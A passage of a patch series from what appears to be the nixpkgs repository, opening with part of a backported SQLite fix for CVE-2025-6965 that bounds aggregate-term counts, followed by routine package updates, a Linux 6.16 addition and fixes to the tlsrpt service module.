+   if( k<0 ){
+     /* OOM on resize */
+     assert( pParse->db->mallocFailed );
+     return;
++  }
++  if( k>mxTerm ){
++    sqlite3ErrorMsg(pParse, "more than %d aggregate terms", mxTerm);
++    k = mxTerm;
+   }
+   pCol = &pAggInfo->aCol[k];
+   assert( ExprUseYTab(pExpr) );
+   pCol->pTab = pExpr->y.pTab;
+   pCol->iTable = pExpr->iTable;
+@@ -7064,10 +7070,11 @@
+   assert( pExpr->pAggInfo==0 || pExpr->pAggInfo==pAggInfo );
+   pExpr->pAggInfo = pAggInfo;
+   if( pExpr->op==TK_COLUMN ){
+     pExpr->op = TK_AGG_COLUMN;
+   }
++  // assert( k <= SMXV(pExpr->iAgg) ); # macro not available in 3.48.0
+   pExpr->iAgg = (i16)k;
+ }
+ 
+ /*
+ ** This is the xExprCallback for a tree walker.  It is used to
+@@ -7148,17 +7155,23 @@
+       ){
+         /* Check to see if pExpr is a duplicate of another aggregate
+         ** function that is already in the pAggInfo structure
+         */
+         struct AggInfo_func *pItem = pAggInfo->aFunc;
++        int mxTerm = pParse->db->aLimit[SQLITE_LIMIT_COLUMN];
++        // assert( mxTerm <= SMXV(i16) ); # macro not available in 3.48.0
+         for(i=0; i<pAggInfo->nFunc; i++, pItem++){
+           if( NEVER(pItem->pFExpr==pExpr) ) break;
+           if( sqlite3ExprCompare(0, pItem->pFExpr, pExpr, -1)==0 ){
+             break;
+           }
+         }
+-        if( i>=pAggInfo->nFunc ){
++        if( i>mxTerm ){
++          sqlite3ErrorMsg(pParse, "more than %d aggregate terms", mxTerm);
++          i = mxTerm;
++          assert( i<pAggInfo->nFunc );
++        }else if( i>=pAggInfo->nFunc ){
+           /* pExpr is original.  Make a new entry in pAggInfo->aFunc[]
+           */
+           u8 enc = ENC(pParse->db);
+           i = addAggInfoFunc(pParse->db, pAggInfo);
+           if( i>=0 ){
+@@ -7208,10 +7221,11 @@
+         }
+         /* Make pExpr point to the appropriate pAggInfo->aFunc[] entry
+         */
+         assert( !ExprHasProperty(pExpr, EP_TokenOnly|EP_Reduced) );
+         ExprSetVVAProperty(pExpr, EP_NoReduce);
++        // assert( i <= SMXV(pExpr->iAgg) ); # macro not available in 3.48.0
+         pExpr->iAgg = (i16)i;
+         pExpr->pAggInfo = pAggInfo;
+         return WRC_Prune;
+       }else{
+         return WRC_Continue;
+
+Index: src/sqliteInt.h
+==================================================================
+--- a/sqlite3.c
++++ b/sqlite3.c
+@@ -2894,21 +2894,21 @@
+ struct AggInfo {
+   u8 directMode;          /* Direct rendering mode means take data directly
+                           ** from source tables rather than from accumulators */
+   u8 useSortingIdx;       /* In direct mode, reference the sorting index rather
+                           ** than the source table */
+-  u16 nSortingColumn;     /* Number of columns in the sorting index */
++  u32 nSortingColumn;     /* Number of columns in the sorting index */
+   int sortingIdx;         /* Cursor number of the sorting index */
+   int sortingIdxPTab;     /* Cursor number of pseudo-table */
+   int iFirstReg;          /* First register in range for aCol[] and aFunc[] */
+   ExprList *pGroupBy;     /* The group by clause */
+   struct AggInfo_col {    /* For each column used in source tables */
+     Table *pTab;             /* Source table */
+     Expr *pCExpr;            /* The original expression */
+     int iTable;              /* Cursor number of the source table */
+-    i16 iColumn;             /* Column number within the source table */
+-    i16 iSorterColumn;       /* Column number in the sorting index */
++    int iColumn;             /* Column number within the source table */
++    int iSorterColumn;       /* Column number in the sorting index */
+   } *aCol;
+   int nColumn;            /* Number of used entries in aCol[] */
+   int nAccumulator;       /* Number of columns that show through to the output.
+                           ** Additional columns are used only as parameters to
+                           ** aggregate functions */
+
diff --git a/pkgs/development/libraries/sqlite/default.nix b/pkgs/development/libraries/sqlite/default.nix
index abde663e2d7d..044159f81328 100644
--- a/pkgs/development/libraries/sqlite/default.nix
+++ b/pkgs/development/libraries/sqlite/default.nix
@@ -53,6 +53,9 @@ stdenv.mkDerivation rec {
 
     # https://sqlite.org/src/info/2025-02-16T10:57z
     ./CVE-2025-3277_CVE-2025-29087.patch
+
+    # https://www.sqlite.org/src/info/5508b56fd24016c13981ec280ecdd833007c9d8dd595edb295b984c2b487b5c8
+    ./CVE-2025-6965.patch
   ];
 
   outputs = [

From b210d55d48bf74ad8a8b8a206fd577c0836658fb Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Thu, 5 Jun 2025 14:00:09 +0200
Subject: [PATCH 2965/4511] nixos/lib/test-driver: try using XDG_RUNTIME_DIR if
 available

At work we have the use-case that several people connect to a large
Linux box to run tests and debug those interactively.

All tests write their state into a global `/tmp` -- e.g. the vde1 socket
and the VMs' state. This leads to conflicts when multiple people are
doing this.

This change tries to use XDG_RUNTIME_DIR before using Python's detection
of a global temp directory: when connecting, this requires a working
user session, but then we get working directories per user. This is
preferable over doing something like `mktemp -d` per run since that
would break use-cases where you want to keep the VMs' state across
multiple sessions (`--keep-vm-state`).

(cherry picked from commit 59b4d0de90d4f91025178c8a09399defffd895d6)
---
 nixos/lib/test-driver/src/test_driver/driver.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/nixos/lib/test-driver/src/test_driver/driver.py b/nixos/lib/test-driver/src/test_driver/driver.py
index bf3dda06a617..28fce1b300a5 100644
--- a/nixos/lib/test-driver/src/test_driver/driver.py
+++ b/nixos/lib/test-driver/src/test_driver/driver.py
@@ -39,15 +39,15 @@ def get_tmp_dir() -> Path:
     Raises an exception in case the retrieved temporary directory is not writeable
     See https://docs.python.org/3/library/tempfile.html#tempfile.gettempdir
     """
-    tmp_dir = Path(tempfile.gettempdir())
+    tmp_dir = Path(os.environ.get("XDG_RUNTIME_DIR", tempfile.gettempdir()))
     tmp_dir.mkdir(mode=0o700, exist_ok=True)
     if not tmp_dir.is_dir():
         raise NotADirectoryError(
-            f"The directory defined by TMPDIR, TEMP, TMP or CWD: {tmp_dir} is not a directory"
+            f"The directory defined by XDG_RUNTIME_DIR, TMPDIR, TEMP, TMP or CWD: {tmp_dir} is not a directory"
         )
     if not os.access(tmp_dir, os.W_OK):
         raise PermissionError(
-            f"The directory defined by TMPDIR, TEMP, TMP, or CWD: {tmp_dir} is not writeable"
+            f"The directory defined by XDG_RUNTIME_DIR, TMPDIR, TEMP, TMP, or CWD: {tmp_dir} is not writeable"
         )
     return tmp_dir
 

From 9eca2364358b84e1098f01057a5a99d08d001c3d Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 28 Jul 2025 07:30:52 +0300
Subject: [PATCH 2966/4511] linux_6_16: init at 6.16

(cherry picked from commit 2a866d5813e55ed5c1c22aeb0b0c06b5824c1111)
---
 pkgs/os-specific/linux/kernel/kernels-org.json |  4 ++++
 pkgs/top-level/aliases.nix                     |  2 ++
 pkgs/top-level/linux-kernels.nix               | 11 ++++++++++-
 3 files changed, 16 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 2e159ff1e971..4207dbe6b729 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -30,5 +30,9 @@
     "6.15": {
         "version": "6.15.8",
         "hash": "sha256:19i87zpq3zhpg09sdirnzys2s2yrv9xn8mpibl1a6qmr2sy94znk"
+    },
+    "6.16": {
+        "version": "6.16",
+        "hash": "sha256:10ydzfzc3g0nhns6md08gpfshhjcyd58lylqr15alijjdgzf4jqs"
     }
 }
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 630445d174c6..da7ca3946cb1 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1073,6 +1073,7 @@ mapAliases {
   linuxPackages_6_13 = linuxKernel.packages.linux_6_13;
   linuxPackages_6_14 = linuxKernel.packages.linux_6_14;
   linuxPackages_6_15 = linuxKernel.packages.linux_6_15;
+  linuxPackages_6_16 = linuxKernel.packages.linux_6_16;
   linuxPackages_ham = linuxKernel.packages.linux_ham;
   linuxPackages_rpi0 = linuxKernel.packages.linux_rpi1;
   linuxPackages_rpi02w = linuxKernel.packages.linux_rpi3;
@@ -1097,6 +1098,7 @@ mapAliases {
   linux_6_13 = linuxKernel.kernels.linux_6_13;
   linux_6_14 = linuxKernel.kernels.linux_6_14;
   linux_6_15 = linuxKernel.kernels.linux_6_15;
+  linux_6_16 = linuxKernel.kernels.linux_6_16;
   linux_ham = linuxKernel.kernels.linux_ham;
   linux_rpi0 = linuxKernel.kernels.linux_rpi1;
   linux_rpi02w = linuxKernel.kernels.linux_rpi3;
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 3c2849d3bbbf..443a25b906b4 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -219,6 +219,14 @@ in
           ];
         };
 
+        linux_6_16 = callPackage ../os-specific/linux/kernel/mainline.nix {
+          branch = "6.16";
+          kernelPatches = [
+            kernelPatches.bridge_stp_helper
+            kernelPatches.request_key_helper
+          ];
+        };
+
         linux_testing =
           let
             testing = callPackage ../os-specific/linux/kernel/mainline.nix {
@@ -730,6 +738,7 @@ in
     linux_6_6 = recurseIntoAttrs (packagesFor kernels.linux_6_6);
     linux_6_12 = recurseIntoAttrs (packagesFor kernels.linux_6_12);
     linux_6_15 = recurseIntoAttrs (packagesFor kernels.linux_6_15);
+    linux_6_16 = recurseIntoAttrs (packagesFor kernels.linux_6_16);
   }
   // lib.optionalAttrs config.allowAliases {
     linux_4_19 = throw "linux 4.19 was removed because it will reach its end of life within 24.11"; # Added 2024-09-21
@@ -799,7 +808,7 @@ in
   packageAliases = {
     linux_default = packages.linux_6_12;
     # Update this when adding the newest kernel major version!
-    linux_latest = packages.linux_6_15;
+    linux_latest = packages.linux_6_16;
     linux_rt_default = packages.linux_rt_5_15;
     linux_rt_latest = packages.linux_rt_6_6;
   }

From d7d22d94832f6334ea499d27d8f189c3c201a29b Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 28 Jul 2025 07:47:21 +0300
Subject: [PATCH 2967/4511] linux/common-config: enable new 6.16 features

(cherry picked from commit 80cb8ec428acc1a54dabed95acf1a1379418f587)
---
 pkgs/os-specific/linux/kernel/common-config.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix
index 1e0890ba10d4..8f3ea8ab597b 100644
--- a/pkgs/os-specific/linux/kernel/common-config.nix
+++ b/pkgs/os-specific/linux/kernel/common-config.nix
@@ -321,6 +321,7 @@ let
       NET_CLS_BPF = module;
       NET_ACT_BPF = module;
       NET_SCHED = yes;
+      NET_SCH_BPF = whenAtLeast "6.16" yes;
       L2TP_V3 = yes;
       L2TP_IP = module;
       L2TP_ETH = module;
@@ -646,6 +647,8 @@ let
       # default to dual role mode
       USB_DWC2_DUAL_ROLE = yes;
       USB_DWC3_DUAL_ROLE = yes;
+
+      USB_XHCI_SIDEBAND = whenAtLeast "6.16" yes; # needed for audio offload
     };
 
     usb-serial = {

From 9a5af43011e27ab33b8984ed5ef07b0957082dc0 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Mon, 28 Jul 2025 18:37:40 +0800
Subject: [PATCH 2968/4511] valkey: 8.0.3 -> 8.0.4

---
 pkgs/by-name/va/valkey/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/va/valkey/package.nix b/pkgs/by-name/va/valkey/package.nix
index ad0e9d7756fb..b4256ce3fedb 100644
--- a/pkgs/by-name/va/valkey/package.nix
+++ b/pkgs/by-name/va/valkey/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "valkey";
-  version = "8.0.3";
+  version = "8.0.4";
 
   src = fetchFromGitHub {
     owner = "valkey-io";
     repo = "valkey";
     rev = finalAttrs.version;
-    hash = "sha256-IzerctJUc478dJu2AH20s/A3psiAZWDjQG3USQWqpos=";
+    hash = "sha256-oNAxRogG+FTkB6A5SEMUUXMnCcgMue602nQ+TQkjvmk=";
   };
 
   patches = [

From 4b6268a34bf5466c03900460817206e17b4e9564 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Mon, 28 Jul 2025 00:24:17 -0700
Subject: [PATCH 2969/4511] llvmPackages_git: 22.0.0-unstable-2025-07-20 ->
 22.0.0-unstable-2025-07-28

(cherry picked from commit 42bb8f84f159b086367756a8dec6282fa3e6516d)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 2721bf24f56f..0652049e66ad 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "f3a3270dbca3649b7d56aaa42cb8481fb34e2d67";
-      rev-version = "22.0.0-unstable-2025-07-20";
-      sha256 = "sha256-rMiPa8T2n0IWtOv0SYb+eWWHRfPTBGEb4yCp11gVzRE=";
+      rev = "90de4a4ac96ef314e3af9c43c516d5aaf105777a";
+      rev-version = "22.0.0-unstable-2025-07-28";
+      sha256 = "sha256-zTxqMegoqoXHFLXZijWsTXny5y2WLdXTwMtiPnY9KLs=";
     };
   }
   // llvmVersions;

From f4203b335b687891f06e99d149ffe41e3c5f1889 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 25 Jul 2025 13:01:00 +0200
Subject: [PATCH 2970/4511] linux_xanmod: 6.12.39 -> 6.12.40

(cherry picked from commit fbe19e9161bf33bb4fb0c996d2f200eb435af5fa)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 0aa39d4eb0af..2aeaad38d9dc 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.39";
-      hash = "sha256-yv8CtqqxJiiRjnZJrsqRw/q6B9JnS5nmnYlqTYWN6Kc=";
+      version = "6.12.40";
+      hash = "sha256-L8wL47kD+lrnJsrp0B1MZ2Lg8zs+m1vQ24gPGuvxIA0=";
     };
     main = {
       version = "6.15.7";

From 3e25ab90e8b12255a3753925c05f39760fc85c79 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 25 Jul 2025 13:05:41 +0200
Subject: [PATCH 2971/4511] linux_xanmod_latest: 6.15.7 -> 6.15.8

(cherry picked from commit 7be33a7605f31f8c3ac48b8b7ce6a0fde242ffb8)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 2aeaad38d9dc..065eceed4008 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-L8wL47kD+lrnJsrp0B1MZ2Lg8zs+m1vQ24gPGuvxIA0=";
     };
     main = {
-      version = "6.15.7";
-      hash = "sha256-YMDjtoGz/PQKmbB2umI+5mODP4A1NqzVusc9kg2zGzA=";
+      version = "6.15.8";
+      hash = "sha256-P4DpTS0RhvsgBrNDsZMiA1NvCQucuPmJ4GDyF9mZ7ZU=";
     };
   };
 

From 1f8c34b250fadc1c2b45ce38cac367a759f6b9d6 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Sun, 1 Jun 2025 21:40:40 +0200
Subject: [PATCH 2972/4511] sauerbraten: fix build

(cherry picked from commit 8b1388d74fa5feb210dbf4999930c2388f4dbc1e)
---
 pkgs/by-name/sa/sauerbraten/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/sa/sauerbraten/package.nix b/pkgs/by-name/sa/sauerbraten/package.nix
index 49925da52112..93e8af7faf7a 100644
--- a/pkgs/by-name/sa/sauerbraten/package.nix
+++ b/pkgs/by-name/sa/sauerbraten/package.nix
@@ -8,9 +8,11 @@
   copyDesktopItems,
 
   # buildInputs
+  libGL,
   SDL2,
   SDL2_image,
   SDL2_mixer,
+  xorg,
   zlib,
 
   makeDesktopItem,
@@ -33,9 +35,11 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    libGL
     SDL2
     SDL2_image
     SDL2_mixer
+    xorg.libX11
     zlib
   ];
 

From 6a90d84e44cdb24afc7701e5c57fb8284443dae8 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 27 Jul 2025 17:34:13 +0200
Subject: [PATCH 2973/4511] nixos/tlsrpt: fix default postfix sendmail path

It is not in the PATH for the reportd, since it is a SUID wrapper.

(cherry picked from commit 1f9431801f5262a09c9dbb113d52beb0d668eabd)
---
 nixos/modules/services/mail/tlsrpt.nix | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/mail/tlsrpt.nix b/nixos/modules/services/mail/tlsrpt.nix
index 83b219443fd0..4692f0cdd2ff 100644
--- a/nixos/modules/services/mail/tlsrpt.nix
+++ b/nixos/modules/services/mail/tlsrpt.nix
@@ -229,9 +229,16 @@ in
 
             sendmail_script = mkOption {
               type = with types; nullOr str;
-              default = if config.services.postfix.enable then "sendmail" else null;
+              default =
+                if config.services.postfix.enable && config.services.postfix.setSendmail then
+                  "/run/wrappers/bin/sendmail -i -t"
+                else
+                  null;
               defaultText = lib.literalExpression ''
-                if any [ config.services.postfix.enable ] then "sendmail" else null
+                if config.services.postfix.enable && config.services.postfix.setSendmail then
+                  "/run/wrappers/bin/sendmail -i -t"
+                else
+                  null
               '';
               description = ''
                 Path to a sendmail-compatible executable for delivery reports.

From c3246b01ba25b06c94ef946467af2203f59a381b Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 27 Jul 2025 17:36:00 +0200
Subject: [PATCH 2974/4511] nixos/tlsrpt: fix restart trigger

Triggering on a symlink target does not work.

(cherry picked from commit c3c5a3bfd080e898b92f2f4b30326ba72439a703)
---
 nixos/modules/services/mail/tlsrpt.nix | 25 ++++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)

diff --git a/nixos/modules/services/mail/tlsrpt.nix b/nixos/modules/services/mail/tlsrpt.nix
index 4692f0cdd2ff..05d8377514c0 100644
--- a/nixos/modules/services/mail/tlsrpt.nix
+++ b/nixos/modules/services/mail/tlsrpt.nix
@@ -50,6 +50,15 @@ let
     ];
   };
 
+  collectdConfigFile = format.generate "tlsrpt-collectd.cfg" {
+    tlsrpt_collectd = dropNullValues cfg.collectd.settings;
+  };
+  fetcherConfigFile = format.generate "tlsrpt-fetcher.cfg" {
+    tlsrpt_fetcher = dropNullValues cfg.fetcher.settings;
+  };
+  reportdConfigFile = format.generate "tlsrpt-reportd.cfg" {
+    tlsrpt_reportd = dropNullValues cfg.reportd.settings;
+  };
 in
 
 {
@@ -266,15 +275,9 @@ in
 
   config = mkIf cfg.enable {
     environment.etc = {
-      "tlsrpt/collectd.cfg".source = format.generate "tlsrpt-collectd.cfg" {
-        tlsrpt_collectd = dropNullValues cfg.collectd.settings;
-      };
-      "tlsrpt/fetcher.cfg".source = format.generate "tlsrpt-fetcher.cfg" {
-        tlsrpt_fetcher = dropNullValues cfg.fetcher.settings;
-      };
-      "tlsrpt/reportd.cfg".source = format.generate "tlsrpt-reportd.cfg" {
-        tlsrpt_reportd = dropNullValues cfg.reportd.settings;
-      };
+      "tlsrpt/collectd.cfg".source = collectdConfigFile;
+      "tlsrpt/fetcher.cfg".source = fetcherConfigFile;
+      "tlsrpt/reportd.cfg".source = reportdConfigFile;
     };
 
     users.users.tlsrpt = {
@@ -295,7 +298,7 @@ in
 
       wantedBy = [ "multi-user.target" ];
 
-      restartTriggers = [ "/etc/tlsrpt/collectd.cfg" ];
+      restartTriggers = [ collectdConfigFile ];
 
       serviceConfig = commonServiceSettings // {
         ExecStart = toString (
@@ -319,7 +322,7 @@ in
 
       wantedBy = [ "multi-user.target" ];
 
-      restartTriggers = [ "/etc/tlsrpt/reportd.cfg" ];
+      restartTriggers = [ reportdConfigFile ];
 
       serviceConfig = commonServiceSettings // {
         ExecStart = toString (

From 007eb35d91234f06047a627e74025cc93abf12ea Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 28 Jul 2025 02:16:08 +0200
Subject: [PATCH 2975/4511] nixos/tlsrpt: fix permissions to execute postdrop

Calling to sendmail without AF_NETLINK causes:

> sendmail: fatal: inet_addr_local[getifaddrs]: getifaddrs: Address family not supported by protocol

and without AF_INET/AF_INET6:

> sendmail: warning: inet_protocols: disabling IPv6 name/address support: Address family not supported by protocol
> sendmail: warning: inet_protocols: disabling IPv4 name/address support: Address family not supported by protocol

Move the configurePostfix option one level up, since it now also
reconfigures the reportd systemd unit.

(cherry picked from commit b438f32b2a8d2b9374644289725ffaf05101970c)
---
 nixos/modules/services/mail/tlsrpt.nix | 29 ++++++++++++++------------
 1 file changed, 16 insertions(+), 13 deletions(-)

diff --git a/nixos/modules/services/mail/tlsrpt.nix b/nixos/modules/services/mail/tlsrpt.nix
index 05d8377514c0..309ce400462c 100644
--- a/nixos/modules/services/mail/tlsrpt.nix
+++ b/nixos/modules/services/mail/tlsrpt.nix
@@ -59,6 +59,8 @@ let
   reportdConfigFile = format.generate "tlsrpt-reportd.cfg" {
     tlsrpt_reportd = dropNullValues cfg.reportd.settings;
   };
+
+  withPostfix = config.services.postfix.enable && cfg.configurePostfix;
 in
 
 {
@@ -126,14 +128,6 @@ in
           See {manpage}`tlsrpt-collectd(1)` for possible flags.
         '';
       };
-
-      configurePostfix = mkOption {
-        type = types.bool;
-        default = true;
-        description = ''
-          Whether to modify the local Postfix service to grant access to the collectd socket.
-        '';
-      };
     };
 
     fetcher = {
@@ -271,6 +265,14 @@ in
         '';
       };
     };
+
+    configurePostfix = mkOption {
+      type = types.bool;
+      default = true;
+      description = ''
+        Whether to configure permissions to allow integration with Postfix.
+      '';
+    };
   };
 
   config = mkIf cfg.enable {
@@ -286,11 +288,9 @@ in
     };
     users.groups.tlsrpt = { };
 
-    users.users.postfix.extraGroups =
-      lib.mkIf (config.services.postfix.enable && cfg.collectd.configurePostfix)
-        [
-          "tlsrpt"
-        ];
+    users.users.postfix.extraGroups = lib.mkIf withPostfix [
+      "tlsrpt"
+    ];
 
     systemd.services.tlsrpt-collectd = {
       description = "TLSRPT datagram collector";
@@ -334,7 +334,10 @@ in
         RestrictAddressFamilies = [
           "AF_INET"
           "AF_INET6"
+          "AF_NETLINK"
         ];
+        ReadWritePaths = lib.optionals withPostfix [ "/var/lib/postfix/queue/maildrop" ];
+        SupplementaryGroups = lib.optionals withPostfix [ "postdrop" ];
         UMask = "0077";
       };
     };

From dcc198185311f430de40750c6c35ec8aa8cb1326 Mon Sep 17 00:00:00 2001
From: Dom Rodriguez <shymega@shymega.org.uk>
Date: Mon, 14 Apr 2025 16:57:33 +0100
Subject: [PATCH 2976/4511] python3Packages.buildstream-plugins: init at 2.4.0

(cherry picked from commit e449c6cd90b605264499aa2c20d78b3478d1f33b)
---
 pkgs/by-name/bu/buildstream/package.nix       |  8 +++-
 .../buildstream-plugins/default.nix           | 39 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 3 files changed, 48 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/development/python-modules/buildstream-plugins/default.nix

diff --git a/pkgs/by-name/bu/buildstream/package.nix b/pkgs/by-name/bu/buildstream/package.nix
index c78558047149..2ea655ec4a66 100644
--- a/pkgs/by-name/bu/buildstream/package.nix
+++ b/pkgs/by-name/bu/buildstream/package.nix
@@ -13,6 +13,9 @@
   addBinToPathHook,
   gitMinimal,
   versionCheckHook,
+
+  # Optional features
+  enableBuildstreamPlugins ? true,
 }:
 
 python3Packages.buildPythonApplication rec {
@@ -53,7 +56,10 @@ python3Packages.buildPythonApplication rec {
     ruamel-yaml-clib
     tomlkit
     ujson
-  ]);
+  ])
+  ++ lib.optionals enableBuildstreamPlugins [
+    python3Packages.buildstream-plugins
+  ];
 
   buildInputs = [
     fuse3
diff --git a/pkgs/development/python-modules/buildstream-plugins/default.nix b/pkgs/development/python-modules/buildstream-plugins/default.nix
new file mode 100644
index 000000000000..a96957161333
--- /dev/null
+++ b/pkgs/development/python-modules/buildstream-plugins/default.nix
@@ -0,0 +1,39 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+  setuptools,
+  cython,
+}:
+
+buildPythonPackage rec {
+  pname = "buildstream-plugins";
+  version = "2.4.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "apache";
+    repo = "buildstream-plugins";
+    tag = version;
+    hash = "sha256-VAHDMy4DvNneWP1jhrIZzogZ5Gz5PS/GcFpOg2cGYvs=";
+  };
+
+  build-system = [
+    cython
+    setuptools
+  ];
+
+  # Do not run pyTest, causes infinite recursion as `buildstream-plugins`
+  # depends on `Buildstream`, and vice-versa for tests.
+  # May be fixable by skipping certain tests? TODO.
+
+  pythonImportsCheck = [ "buildstream_plugins" ];
+
+  meta = {
+    description = "BuildStream plugins";
+    homepage = "https://github.com/apache/buildstream-plugins";
+    platforms = lib.platforms.linux;
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ shymega ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index b7baa5a0713c..3c5361b6589c 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2129,6 +2129,8 @@ self: super: with self; {
 
   buildcatrust = callPackage ../development/python-modules/buildcatrust { };
 
+  buildstream-plugins = callPackage ../development/python-modules/buildstream-plugins { };
+
   bump-my-version = callPackage ../development/python-modules/bump-my-version { };
 
   bump2version = callPackage ../development/python-modules/bump2version { };

From 43e3a3e85f81f9374195512955bdc499d3dae805 Mon Sep 17 00:00:00 2001
From: Christoph Heiss <christoph@c8h4.io>
Date: Mon, 28 Jul 2025 10:59:00 +0200
Subject: [PATCH 2977/4511] floorp: 11.28.0 -> 11.29.0

Git changelog: https://github.com/Floorp-Projects/Floorp/compare/v11.28.0...v11.29.0
Release notes: https://blog.floorp.app/en/release/11.29.0.html

Signed-off-by: Christoph Heiss <christoph@c8h4.io>
(cherry picked from commit aa408b15e26b14086453d52a97d0e69b97e98646)
---
 pkgs/applications/networking/browsers/floorp/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix
index a27fde9b1d01..c4392c792b82 100644
--- a/pkgs/applications/networking/browsers/floorp/default.nix
+++ b/pkgs/applications/networking/browsers/floorp/default.nix
@@ -9,7 +9,7 @@
 (
   (buildMozillaMach rec {
     pname = "floorp";
-    packageVersion = "11.28.0";
+    packageVersion = "11.29.0";
     applicationName = "Floorp";
     binaryName = "floorp";
     branding = "browser/branding/official";
@@ -17,14 +17,14 @@
     allowAddonSideload = true;
 
     # Must match the contents of `browser/config/version.txt` in the source tree
-    version = "128.12.0";
+    version = "128.13.0";
 
     src = fetchFromGitHub {
       owner = "Floorp-Projects";
       repo = "Floorp";
       fetchSubmodules = true;
       rev = "v${packageVersion}";
-      hash = "sha256-2BSl7RHhqFAYSpshBYxuVWwLlVXdOT3xgH4tva5ShY4=";
+      hash = "sha256-uTTI9n99P4hHDf849lR7oiNGLbCa03ivjE1xF0gyT4Y=";
     };
 
     extraConfigureFlags = [

From 8c385b3971d23239802c0d1efe6f8ed13ab5fd6d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 22 Jul 2025 07:09:14 +0000
Subject: [PATCH 2978/4511] nightfox-gtk-theme: 0-unstable-2025-04-24 ->
 0-unstable-2025-07-21

(cherry picked from commit d8313d0304f8f4f2e2cabadff57659e404fb1437)
---
 pkgs/by-name/ni/nightfox-gtk-theme/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ni/nightfox-gtk-theme/package.nix b/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
index a5b76c8b1ec9..219c50bb0390 100644
--- a/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
+++ b/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
@@ -70,13 +70,13 @@ lib.checkListOfEnum "${pname}: colorVariants" colorVariantList colorVariants lib
   stdenvNoCC.mkDerivation
   {
     inherit pname;
-    version = "0-unstable-2025-04-24";
+    version = "0-unstable-2025-07-21";
 
     src = fetchFromGitHub {
       owner = "Fausto-Korpsvart";
       repo = "Nightfox-GTK-Theme";
